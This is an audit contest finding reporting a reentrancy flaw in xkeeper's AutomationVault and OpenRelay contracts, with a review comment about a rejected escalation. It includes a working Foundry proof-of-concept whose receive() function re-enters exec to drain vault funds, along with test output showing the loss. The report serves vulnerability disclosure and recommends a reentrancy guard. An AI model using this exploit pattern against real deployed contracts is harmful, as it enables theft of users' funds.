0x0bserver - User can steal funds from `AutomationVault` using Reentrancy Attack on `exec` function

[sherlock-admin3]

0x0bserver

high

User can steal funds from AutomationVault using Reentrancy Attack on exec function

Summary

Lack of reentrancy guard in the AutomationVault contract enables malicious users to steal large amount of funds using the OpenRelay relay in a single transaction.

Vulnerability Detail

As stated in the contest documentation, only the Gelato relay is considered TRUSTED. Additionally, any user can become a keeper bot and utilize the OpenRelay relay to execute jobs.

Vulnerability arises due to maliciously using OpenRelay relay to perform multiple jobs in a single transaction. With the OpenRelay relay, there is no mechanism in place to restrict keeper bots from performing jobs more frequently than intended by the AutomationVault owner. After a few malicious transactions, the AutomationVault owner can prevent this by removing the malicious caller, thereby recovering with only a minor fund loss.

However, in scenarios where a significant amount of funds is stolen in one transaction, the AutomationVault owner lacks the means to prevent the loss.

Here is the attack scenario:

1. AutomationVault owner grants approval to OpenRelay relay, allowing all callers or malicious callers.

2. AutomationVault owner authorizes specific jobs, such as MakerDAOUpkeep, to be executed by callers once a week.

3. Malicious user/caller utilizes the OpenRelay relay to execute a job:

   _automationVault.exec(msg.sender, new IAutomationVault.ExecData[](0), _feeData);

4. Within the AutomationVault contract, funds are transferred to the malicious user using the following code:

               (_success, ) = _feeInfo.feeRecipient.call{value: _feeInfo.fee}("");

5. The malicious user can subsequently re-enter the OpenRelay contract using the receive function to execute the same job and receive payment within the same transaction.

6. Step 4-5 can be repeated multiple times within a same transaction to drain large amount of funds.

Paste the test below into AutomationVault.t.sol with forge-std/console.sol imported. It demonstrates the above attack scenario.

PoC

```solidity function test_attackVault() public { // Bot callers array address[] memory _bots = new address[](1); _bots[0] = address(this); // Job selectors array bytes4[] memory _jobSelectors = new bytes4[](2); _jobSelectors[0] = basicJob.work.selector; _jobSelectors[1] = basicJob.workHard.selector; // Job data array IAutomationVault.JobData[] memory _jobsData = new IAutomationVault.JobData[](1); _jobsData[0] = IAutomationVault.JobData(address(basicJob),_jobSelectors); // ExecData uint _howhard = 10; IAutomationVault.ExecData[] memory _execData = new IAutomationVault.ExecData[](1); _execData[0] = IAutomationVault.ExecData(address(basicJob),abi.encodeWithSelector(basicJob.workHard.selector, _howhard)); vm.deal(owner, 10 ether); vm.deal(address(this), 1 wei); vm.startPrank(owner); // AutomationVault approve relay data automationVault.addRelay(address(openRelay), _bots, _jobsData); address(automationVault).call{value: 1 ether}(""); vm.startPrank(address(this)); console.log("Attacker Balance before attack: ", address(this).balance); console.log("Vault Balance before attack: ",address(automationVault).balance); openRelay.exec(automationVault, _execData, address(this)); console.log("Attacker Balance after attack: ", address(this).balance); console.log("Vault Balance after attack: ",address(automationVault).balance); } receive() external payable { if (gasleft() < 100000) return; // Bot callers array address[] memory _bots = new address[](1); _bots[0] = address(this); // Job selectors array bytes4[] memory _jobSelectors = new bytes4[](2); _jobSelectors[0] = basicJob.work.selector; _jobSelectors[1] = basicJob.workHard.selector; // Job data array IAutomationVault.JobData[] memory _jobsData = new IAutomationVault.JobData[](1); _jobsData[0] = IAutomationVault.JobData(address(basicJob),_jobSelectors); // ExecData uint _howhard = 10; IAutomationVault.ExecData[] memory _execData = new IAutomationVault.ExecData[](1); _execData[0] = IAutomationVault.ExecData(address(basicJob),abi.encodeWithSelector(basicJob.workHard.selector, _howhard)); vm.startPrank(address(this)); // Re-entring the OpenRelay contract to perform additional job openRelay.exec(automationVault, _execData, address(this)); } ``` Output from running the test below. ```solidity Running 1 test for test/integration/AutomationVault.t.sol:IntegrationAutomationVault [PASS] test_attackVault() (gas: 10666350) Logs: Attacker Balance before attack: 1 Vault Balance before attack: 1000000000000000000 Attacker Balance after attack: 298550506113453761 Vault Balance after attack: 701449493886546240 ```

Impact

The AutomationVault owner will lose a substantial amount of funds in a single transaction before they can eliminate the malicious users/callers. Moreover, if the AutomationVault owner has granted approval to all callers in the OpenRelay relay using _ALL constant, a single malicious actor can execute a coordinated group attack, deploying multiple caller contracts simultaneously to execute the same reentrancy attack, thereby depleting all funds within a single block.

Code Snippet

https://github.com/sherlock-audit/2024-04-xkeeper/blob/main/xkeeper-core/solidity/contracts/core/AutomationVault.sol#L439 https://github.com/sherlock-audit/2024-04-xkeeper/blob/main/xkeeper-core/solidity/contracts/relays/OpenRelay.sol#L39

Tool used

Manual Review

Recommendation

Utilize the ReentrancyGuard from OpenZeppelin to protect against reentrancy attacks. This ensures that multiple jobs cannot be executed in a single transaction.

Duplicate of #120

[sherlock-admin2]

Escalate This issue has been mistakenly marked as a duplicate of #120; however, it is not identical. In issue #120, the malicious actor is a malicious job that reenters the protocol to perform a reentrancy attack. The attack path relies on a malicious job.

In contrast, this issue involves any user exploiting the OpenRelay's exec function to conduct a reentrancy attack, without depending on a specific malicious job. The malicious actor exploits a vulnerability in the OpenRelay contract.

The escalation could not be created because you are not exceeding the escalation threshold.

You can view the required number of additional valid issues/judging contest payouts in your Profile page, in the Sherlock webapp.